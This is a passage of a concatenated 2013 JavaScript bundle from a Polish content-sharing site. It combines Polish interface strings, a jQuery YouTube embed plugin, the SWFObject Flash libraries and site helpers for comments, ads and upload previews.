/**Modified:2013-08-16 11:18:21*/
js_datepicker_short_months = 'Sty|Lu|Mar|Kw|Maj|Cze|Lip|Sie|Wrz|Pa|Lis|Gru';js_datepicker_months = 'Styczeń|Luty|Marzec|Kwiecień|Maj|Czerwiec|Lipiec|Sierpień|Wrzesień|Październik|Listopad|Grudzień';js_datepicker_week = 'Tydz';js_datepicker_day_names = 'Niedziela|Poniedzialek|Wtorek|Środa|Czwartek|Piątek|Sobota';js_datepicker_day_names_short = 'Nie|Pn|Wt|Śr|Czw|Pt|So';js_datepicker_day_names_minshort = 'N|Pn|Wt|Śr|Cz|Pt|So';js_datepicker_today = 'Dziś';js_datepicker_next = 'Następny&#x3e;';js_datepicker_prev = '&#x3c;Poprzedni';js_datepicker_close = 'Zamknij';js_err_animacja_1 = 'Najpierw dodaj przynajmniej dwa obrazki i sprawdź podgląd.';js_err_animacja_2 = 'Plik {file} posiada nieprawidłowe rozszerzenie. Jedynie pliki typu {extensions} są dozwolone.';js_err_animacja_3 = 'Plik {file} jest zbyt duży, maksymalny rozmiar pliku to {sizeLimit}.';js_err_animacja_4 = 'Plik {file} jest pusty, proszę wybrać inny.';js_err_animacja_5 = 'Pliki są właśnie wrzucane na serwer. Jeśli teraz opuścisz stronę, proces ten nie zostanie ukończony.';js_app_usun = 'usuń';js_app_file = 'Materiał';js_app_none_viewed = 'Twój znajomy nie przeglądał do tej pory żadnych materiałów';js_app_request = 'Zaproszenie do aplikacji Share';js_app_add_freind = 'Dodaj znajomego';js_app_saved_sction = 'Akcja została zapisana !';js_form_validate_all = 'Wszystkie pola są wymagane';js_rp_duplikat_msg = 'Jeśli chcesz, możesz podać dodatkowe informacje - np link do materiału, duplikatu, itp.';js_galeria_1 = 'To nie jest poprawny link do obrazka!';js_galeria_2 = 'Ten obrazek został już dodany!';js_galeria_3 = 'Wprowadź poprawny link do obrazka!';js_galeria_4 = 'Dodaj obrazki do galerii';js_galeria_5 = 'Wpisz dłuższy opis dodawanej galerii( minimum %s znaków )';js_galeria_6 = 'Wybierz pliki z dysku';js_alert = 'Uwaga!';js_load = 'Ładowanie';js_com_adding = 'Dodawanie komentarza... <img src=\"/images/loading.gif\" />';js_com_empty = 'Musisz wpisać komentarz';js_delete_comment = 'Usuwanie komentarza... <img src=\"/images/loading.gif\" />';js_alert_jquery = 'Wystąpił nieokreślony błąd jQuery';js_pw_sending = 'Wysyłanie PW <img src=\"/images/loading.gif\" />';js_com_answer_emots = 'W odpowiedzi możesz również używać emotikonek i BBCode np :), :-( ,[quote][/quote], [u][/u] itp.';js_com_answer_add = 'Dodaj';js_com_answer_reject = 'Anuluj';js_com_hidden_show = 'pokaż';js_com_hidden_hide = 'ukryj';js_popup_wait = 'Lub zaczekaj';js_popup_seconds = 'sekund';js_popup_close = 'Zamknij';com_odp = 'Odpowiedz';com_raport = 'Raportuj';com_show_yes = 'Zawsze pokazuj komentarze';com_show_no = 'Komentarze zawsze ukryte(zalecane)';com_show = 'Pokaż komentarze';com_hide = 'Ukryj komentarze';js_rp_title = 'Zgłoszenie';js_rp_sending = 'Wysyłanie raportu... <img src=\"/images/loading.gif\" />';js_rp_ok = 'Zgłoszenie przyjęte!';js_emots_1 = 'Podaj link do filmu na Youtube';js_emots_2 = 'Wpisz tutaj';js_emots_3 = 'Podaj poprawny link do filmu na Youtube';js_emots_4 = 'Pogrubienie';js_emots_5 = 'Pochylenie';js_emots_6 = 'Podkreslenie';js_emots_7 = 'Wycentrowanie tekstu';js_emots_8 = 'Cytowanie tekstu';js_emots_9 = 'Link do filmu Video';js_emots_10 = 'Uśmiechnięta buźka';js_emots_11 = 'Smutna buźka';js_emots_12 = 'Wyślij buziaka';js_emots_13 = 'Pokaż język';js_emots_14 = 'Grozi';js_emots_15 = 'Niesamowite LOL';js_emots_16 = 'Puść oczko';js_emots_17 = 'Cieszę się';js_add_file_animation = 'Dodaj plik';js_add_file_animation_stop = 'Zatrzymaj';js_add_file_animation_error = 'Błąd';js_cookie_policy_info = '<b>Ważna informacja: ten serwis wykorzystuje pliki cookies</b>Używamy informacji zapisanych za pomocą cookies i podobnych technologii w celach reklamowych, statystycznych oraz w celu dostosowania serwisu do indywidualnych potrzeb użytkowników. Mogą też korzystać z nich współpracujący z nami reklamodawcy oraz firmy badawcze.<br />Jeśli wyrażasz zgodę na używanie cookies, to będą one zapisane w pamięci twojej przeglądarki. W przeglądarce internetowej możesz zmienić ustawienia dotyczące cookies. Wiecej informacji w <a style=\"color: black; font-weight: bold;\" href=\"/post/regulamin.html\">regulaminia</a>';js_cookie_policy_info_close = 'zamknij';js_ranking_1 = 'To nie jest poprawny link do obrazka!';js_ranking_2 = 'Ten obrazek został już dodany!';js_ranking_3 = 'Wprowadź poprawny link do obrazka!';js_ranking_4 = 'Dodaj obrazki do rankingu';js_ranking_5 = 'Wpisz dłuższy opis dodawanego rankingu( minimum %s znaków )';js_ranking_6 = 'Wybierz pliki z dysku';js_ranking_7 = 'Nie możesz dodać więcej plików do rankingu';(function($){
	function zero(l,ile) {
			for(i=0;i<ile;i++) l = '0'+l;
		return l.substr(l.length-ile);
	}
	$.fn.youTubeEmbed = function(settings){
		
		// Settings can be either a URL string,
		// or an object
		
		if(typeof settings == 'string'){
			settings = {'video' : settings}
		}
		
		// Default values
		
		var def = {
			width		: 640,
			height		: 0,
			progressBar	: true
		};
		
		settings = $.extend(def,settings);
		var identyfikator = settings.id;
		
		var elements = {
			originalDIV	: this,	// The "this" of the plugin
			container	: null,	// A container div, inserted by the plugin
			control		: null,	// The control play/pause button
			player		: null,	// The flash player
			progress	: null,	// Progress bar
			elapsed		: null	// The light blue elapsed bar
		};
		
		settings.video = settings.video.replace(/(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com(?:\/embed\/|\/v\/|\/watch\?v=))([\w\-]{10,12})\b[?=&\w]*(?!['"][^<>]*>|<\/a>)/ig,
        'http://www.youtube.com/watch?v=$1');
		
		try{	

			
			settings.videoID = settings.video.match(/v=(.{11})/)[1];
			
			// The safeID is a stripped version of the
			// videoID, ready for use as a function name

			settings.safeID = settings.videoID.replace(/[^a-z0-9]/ig,'');
		
		} catch (e){
			// If the url was invalid, just return the "this"
			return elements.originalDIV;
		}
		
		// Fetch data about the video from YouTube's API

		//var youtubeAPI = 'http://gdata.youtube.com/feeds/api/videos?v=2&alt=jsonc';
		var youtubeAPI = 'https://gdata.youtube.com/feeds/api/videos/'+settings.videoID+'?v=2&alt=jsonc';
		
		$.get(youtubeAPI,{'q':settings.videoID},function(response){
			
			var data = response.data;
	
			if(!data || data.accessControl.embed!="allowed"){
				
				// If the video was not found, or embedding is not allowed;
				
				return elements.originalDIV;
			}

			// data holds API info about the video:
	
		//data = data.items[0];
			
			if( settings.height == 0 )
			{
				
				settings.ratio = 3/4;
				if(data.aspectRatio == "widescreen")
				{
					settings.ratio = 9/16;
				}
				
				settings.height = Math.round(settings.width*settings.ratio);
			
			}

			// Creating a container inside the original div, which will
			// hold the object/embed code of the video

			elements.container = $('<div>',{'class':'flashContainer','css':{
				width	: settings.width,
				height	: settings.height
			}}).appendTo(elements.originalDIV).attr("id", "player_container_"+identyfikator);
			

			// Embedding the YouTube chromeless player
			// and loading the video inside it:

			elements.container.flash({
				swf			: 'http://www.youtube.com/apiplayer?enablejsapi=1&version=3',
				id			: 'video_'+settings.safeID,
				height		: settings.height,
				width		: settings.width,
				allowScriptAccess:'always',
				wmode		: 'transparent',
				flashvars	: {
					"video_id"		: settings.videoID,
					"playerapiid"	: settings.safeID
				}
			});

			// We use get, because we need the DOM element
			// itself, and not a jquery object:
			
			elements.player = elements.container.flash().get(0);

			// Creating the control Div. It will act as a ply/pause button

			elements.control = $('<div>',{'class':'controlDiv play'})
							   .appendTo(elements.container);

			// If the user wants to show the progress bar:
			elements.dataBar=$('<div>',{'class':'dataBar'}).appendTo(elements.container);
			elements.timeGo=$('<div>',{'class':'timeGo'}).appendTo(elements.dataBar);
			elements.timeGo.attr("style", "margin-right: 0px;")
			elements.czasBar=$('<div>',{'class':'czasBar'}).appendTo(elements.dataBar);
			elements.ratingBar=$('<div>',{'class':'ratingBar'}).appendTo(elements.dataBar);
			elements.viewCountBar=$('<div>',{'class':'viewCountBar'}).appendTo(elements.dataBar);
			//elements.ratingBar.html('Ocena: ' + data.rating.toFixed(2));
			//elements.viewCountBar.html('Views: ' + data.viewCount);
			var czas = parseInt(data.duration/60);
			elements.czasBar.html('/' +zero(czas, 2) + ':' + zero((data.duration - (czas * 60)), 2));
			elements.timeGo.html('0:0');


			if(settings.progressBar){
				elements.progress =	$('<div>',{className:'progressBar'})
									.appendTo(elements.container);

				elements.elapsed =	$('<div>',{className:'elapsed'})
									.appendTo(elements.progress);
				
				elements.progress.click(function(e){
					
					// When a click occurs on the progress bar, seek to the
					// appropriate moment of the video.
					
					var ratio = (e.pageX-elements.progress.offset().left)/elements.progress.outerWidth();
					
					elements.elapsed.width(ratio*100+'%');
					elements.player.seekTo(Math.round(data.duration*ratio), true);
					return false;
				});

			}

			var initialized = false;
			
			// Creating a global event listening function for the video
			// (required by YouTube's player API):
			
			window['eventListener_'+settings.safeID] = function(status){

				var interval;
				
				if(status==-1)	// video is loaded
				{
					if(!initialized)
					{
						// Listen for a click on the control button:
						
						elements.control.click(function(){
							if(!elements.container.hasClass('playing')){
								
								// If the video is not currently playing, start it:

								elements.control.removeClass('play replay').addClass('pause');
								elements.container.addClass('playing');
								elements.player.playVideo();
								
								if(settings.progressBar){
									interval = window.setInterval(function(){
										var zaokraglony = Math.round(elements.player.getCurrentTime());
										var czas = parseInt(zaokraglony/60);
										elements.timeGo.html(zero(czas, 2) + ':' + zero(Math.round((zaokraglony - (czas*60))), 2));
										elements.elapsed.width(
											((elements.player.getCurrentTime()/data.duration)*100)+'%'
										);
									},1000);
								}
								
							} else {
								
								// If the video is currently playing, pause it:
								
								elements.control.removeClass('pause').addClass('play');
								elements.container.removeClass('playing');
								elements.player.pauseVideo();
								
								if(settings.progressBar){
									window.clearInterval(interval);
								}
							}
						});
						
						initialized = true;
					}
					else{
						// This will happen if the user has clicked on the
						// YouTube logo and has been redirected to youtube.com

						if(elements.container.hasClass('playing'))
						{
							elements.control.click();
						}
					}
				}
				
				if(status==0){ // video has ended
					elements.control.removeClass('pause').addClass('replay');
					elements.container.removeClass('playing');
				}
			}
			
			// This global function is called when the player is loaded.
			// It is shared by all the videos on the page:
			
			if(!window.onYouTubePlayerReady)
			{				
				window.onYouTubePlayerReady = function(playerID){
					document.getElementById('video_'+playerID).addEventListener('onStateChange','eventListener_'+playerID);
				}
			}
		},'jsonp');

		return elements.originalDIV;
	}

})(jQuery);
// jQuery SWFObject v1.1.1 MIT/GPL @jon_neal
// http://jquery.thewikies.com/swfobject
(function(f,h,i){function k(a,c){var b=(a[0]||0)-(c[0]||0);return b>0||!b&&a.length>0&&k(a.slice(1),c.slice(1))}function l(a){if(typeof a!=g)return a;var c=[],b="";for(var d in a){b=typeof a[d]==g?l(a[d]):[d,m?encodeURI(a[d]):a[d]].join("=");c.push(b)}return c.join("&")}function n(a){var c=[];for(var b in a)a[b]&&c.push([b,'="',a[b],'"'].join(""));return c.join(" ")}function o(a){var c=[];for(var b in a)c.push(['<param name="',b,'" value="',l(a[b]),'" />'].join(""));return c.join("")}var g="object",m=true;try{var j=i.description||function(){return(new i("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version")}()}catch(p){j="Unavailable"}var e=j.match(/\d+/g)||[0];f[h]={available:e[0]>0,activeX:i&&!i.name,version:{original:j,array:e,string:e.join("."),major:parseInt(e[0],10)||0,minor:parseInt(e[1],10)||0,release:parseInt(e[2],10)||0},hasVersion:function(a){a=/string|number/.test(typeof a)?a.toString().split("."):/object/.test(typeof a)?[a.major,a.minor]:a||[0,0];return k(e,a)},encodeParams:true,expressInstall:"expressInstall.swf",expressInstallIsActive:false,create:function(a){if(!a.swf||this.expressInstallIsActive||!this.available&&!a.hasVersionFail)return false;if(!this.hasVersion(a.hasVersion||1)){this.expressInstallIsActive=true;if(typeof a.hasVersionFail=="function")if(!a.hasVersionFail.apply(a))return false;a={swf:a.expressInstall||this.expressInstall,height:137,width:214,flashvars:{MMredirectURL:location.href,MMplayerType:this.activeX?"ActiveX":"PlugIn",MMdoctitle:document.title.slice(0,47)+" - Flash Player Installation"}}}attrs={data:a.swf,type:"application/x-shockwave-flash",id:a.id||"flash_"+Math.floor(Math.random()*999999999),width:a.width||320,height:a.height||180,style:a.style||""};m=typeof a.useEncode!=="undefined"?a.useEncode:this.encodeParams;a.movie=a.swf;a.wmode=a.wmode||"opaque";delete a.fallback;delete a.hasVersion;delete a.hasVersionFail;delete a.height;delete a.id;delete a.swf;delete a.useEncode;delete a.width;var c=document.createElement("div");c.innerHTML=["<object ",n(attrs),">",o(a),"</object>"].join("");return c.firstChild}};f.fn[h]=function(a){var c=this.find(g).andSelf().filter(g);/string|object/.test(typeof a)&&this.each(function(){var b=f(this),d;a=typeof a==g?a:{swf:a};a.fallback=this;if(d=f[h].create(a)){b.children().remove();b.html(d)}});typeof a=="function"&&c.each(function(){var b=this;b.jsInteractionTimeoutMs=b.jsInteractionTimeoutMs||0;if(b.jsInteractionTimeoutMs<660)b.clientWidth||b.clientHeight?a.call(b):setTimeout(function(){f(b)[h](a)},b.jsInteractionTimeoutMs+66)});return c}})(jQuery,"flash",navigator.plugins["Shockwave Flash"]||window.ActiveXObject);
/*	SWFObject v2.2 <http://code.google.com/p/swfobject/> 
	is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> 
*/
var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+O.location.toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();/**
* Wiadomości w oknie AJAX
*/
function overflowMsg( msg )
{
	$("#ajax_okno").fadeIn();
	$("#ajax_text").html( msg );
	$("#ajax_text").fadeIn();
}
function closeOverflowMsg()
{
	$("#ajax_text").fadeOut();
	$("#ajax_okno").fadeOut();
}
/**
 * Funkcja utrzymująca reklamy na ekranie.
 * Działamy na obiktach, nie w funkcji
 */

(function( $ ){
	$.fn.floatDiv = function( $container, startOffset ) {
		
		if ( $($container).length == 0 )
		{
			return false;
		}
		
		var offset = $($container).offset();
		
		var maxTopOffset = startOffset == 'bottom' ? ( offset.top + $($container).height() + 100 ) : (offset.top + 30) ;
		var $element = this;
		
		$element.css("position", "absolute").css( "top", maxTopOffset );

		$(window).scroll(function() {
			var position = window.pageYOffset;
			
			if ( maxTopOffset - position < 30 ) 
			{
				if ( $element.css("position") == "absolute" )
				{
					$element.css("position", "fixed").css( "top" , "30px");
				}
			}
			else if ( $element.css("position") == "fixed" )
			{
				$element.css("position", "absolute").css( "top", maxTopOffset );
			}
		});
	};
})( jQuery );
/**
* Debugowanie skryptów JS
*/
debugConsole = false;

function facebookLogin()
{
	window.location = "connect/";
}

/**
* Rozwijanie całego obrazka, przekraczającego X px
*/
function rozwinObrazek(id)
{
    $('#little_' + id).css({height: "100%", overflow: "visible"});
    $('#little_rozwin_' + id).hide();
}
/**
* Rozwijanie pełnej treści artykułu.
*/
function rozwinArtykul(id)
{
    var tresc = $('#art_' + id).next("div").html();
	$('#art_' + id).parent('div').html(tresc);
}
/**
* Preloader podczas dodawania materiałów.
*/
function loaderWait()
{
	$(".preloader-add-container").css({'position':'fixed', 'top': '0px'});
	$(".preloader-add").css({'position':'fixed', 'top': '40%'});
}
function loaderStop()
{
	$(".preloader-add-container").css({'position':'absolute', 'top': '-1000px'});
	$(".preloader-add").css({'position':'absolute', 'top': '-1000px'});
}
$(function() {
	var inputOk = false;
	var podglad_div = $(".podglad_url");
	var video_input = $("#youtube");
	
	$(".change_input").click(function(e) {
		e.preventDefault();
		sprawdzPola( $(this).val() );
	});
	
	function sprawdzPola (val){
		inputOk = false;
		if( val == "link" ){
			$("#file").hide();
			$("#link").fadeIn();
				
			var url = $("#link").val();
				if ('' != url) {
					var podglad_obrazek = $('<img alt="" src="' + url + '" />');
					podglad_obrazek.attr(
						"src",
						url
					).load(function() {
						podglad_div.html(podglad_obrazek);
						inputOk = true;
						aktualizuj();
					}).error(function() {
						aktualizuj();
					});

				}else{
					podglad_div.html('&nbsp;');
				}
		}else if( video_input.is(':visible') || val == "video" ){
			
			var link = video_input.val();
			var tylkoYoutube = link.match(/^(https?:\/\/)?(www\.)?youtube.*watch\?v=([0-9a-zA-Z\-_]+)/);
			if (tylkoYoutube) {
				podglad_div.html(
					'<iframe width="230" src="http://www.youtube.com/embed/'
					+ tylkoYoutube[3] +
					'?rel=0&autohide=1&fs=1&egm=0&showinfo=0" frameborder="0" allowfullscreen="false"></iframe>'
				);
				inputOk = true;
			}
			aktualizuj();
		
		}else{
			$("#link").hide();
			$("#file").fadeIn();
		}
	}
	function aktualizuj() {
		if (inputOk) {
			podglad_div.show();
		} else {
			podglad_div.hide();
		}
	}
	if( $("#link").length !== 0 )
	{
		
		$("#link").on('change', function(){
			sprawdzPola( "link" );
		});
		
	}
	video_input.keyup(function(){
		sprawdzPola( "video" );
	});	

});
function commentsButtons( item )
{
		var comments_id = item.attr('data-comments-box-id');
		
		var comments_container = $("#show-comments-box-" + comments_id);
		
		var url = item.attr('href');
		
		if( url )
		{
			if( !comments_container.hasClass('comment_now') )
			{
				comments_container.addClass('comment_now');
				comments_container.html('<fb:comments href="'+url+'" num_posts="10" width="560" notify="true" data-colorscheme="light"></fb:comments>');
				comments_container.slideDown();
				FB.XFBML.parse( document.getElementById("show-comments-box-" + comments_id) );
				item.find('span.show-comments-container').html( com_hide );
			}
			else
			{
				comments_container.removeClass('comment_now');
				item.find('span.show-comments-container').html( com_show );
				comments_container.slideUp();
			}
		}
	
}
/**
* Funkcje dostępne/wykonywane po załadowaniu strony
*/

$(document).ready(function(){
	
	/**
	* Głosowanie ranking
	*/
	$(".ranking-vote-button").click(function(e) {
